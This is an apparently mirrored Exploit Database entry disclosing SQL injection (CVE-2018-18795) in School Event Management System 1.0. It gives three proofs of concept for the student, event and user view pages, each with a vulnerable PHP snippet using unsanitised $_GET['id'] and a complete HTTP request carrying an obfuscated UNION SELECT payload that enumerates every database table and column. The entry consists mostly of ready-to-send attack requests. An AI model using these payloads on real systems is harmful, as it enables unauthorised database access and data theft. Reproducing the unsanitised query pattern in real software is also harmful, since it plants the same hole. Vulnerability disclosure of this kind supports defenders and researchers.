School Event Management System 1.0 – SQL Injection

• Exploit Database
• 15 阅读

• 作者： Ihsan Sencan
  日期： 2018-10-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45722/

• # Exploit Title: School Event Management System 1.0 - SQL Injection
  # Dork: N/A
  # Date: 2018-10-29
  # Exploit Author: Ihsan Sencan
  # Vendor Homepage: https://www.sourcecodester.com/users/janobe
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_1.zip
  # Version: 1.0
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: CVE-2018-18795
  
  # POC: 
  # 1)
  # http://localhost/[PATH]/student/index.php?view=view&id=[SQL]
  # 
  #[PATH]/student/view.php
  #01 <?php
  #02 $student = New Student();
  #03 $res = $student->select_student($_GET['id']);
  #04 
  #05
  #06 $course = New Course();
  #07 $resCourse = $course->single_course($res->CourseID);
  #08 
  #09?>
  GET /[PATH]/student/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2d%2d%20%2d HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
  Connection: keep-alive
  HTTP/1.1 200 OK
  Date: Sun, 28 Oct 2018 17:02:29 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Keep-Alive: timeout=5, max=82
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html; charset=UTF-8
  
  # POC: 
  # 2)
  # http://localhost/[PATH]/event/index.php?view=view&id=[SQL]
  # 
  #[PATH]/event/view.php
  #01 <?php
  #02 $event = New Event();
  #03 $res = $event->single_event($_GET['id']);
  #04 
  #05
  #06 
  #07?>
  GET /[PATH]/event/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
  Connection: keep-alive
  HTTP/1.1 200 OK
  Date: Sun, 28 Oct 2018 17:12:15 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html; charset=UTF-8
  
  # POC: 
  # 3)
  # http://localhost/[PATH]/user/index.php?view=view&id=[SQL]
  # 
  #[PATH]/user/view.php
  #01 <?php
  #02 $user = New User();
  #03 $res = $user->single_user($_GET['id']);
  #04 
  #05
  #06 
  #07?>
  GET /[PATH]/user/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
  Connection: keep-alive
  HTTP/1.1 200 OK
  Date: Sun, 28 Oct 2018 17:16:52 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html; charset=UTF-8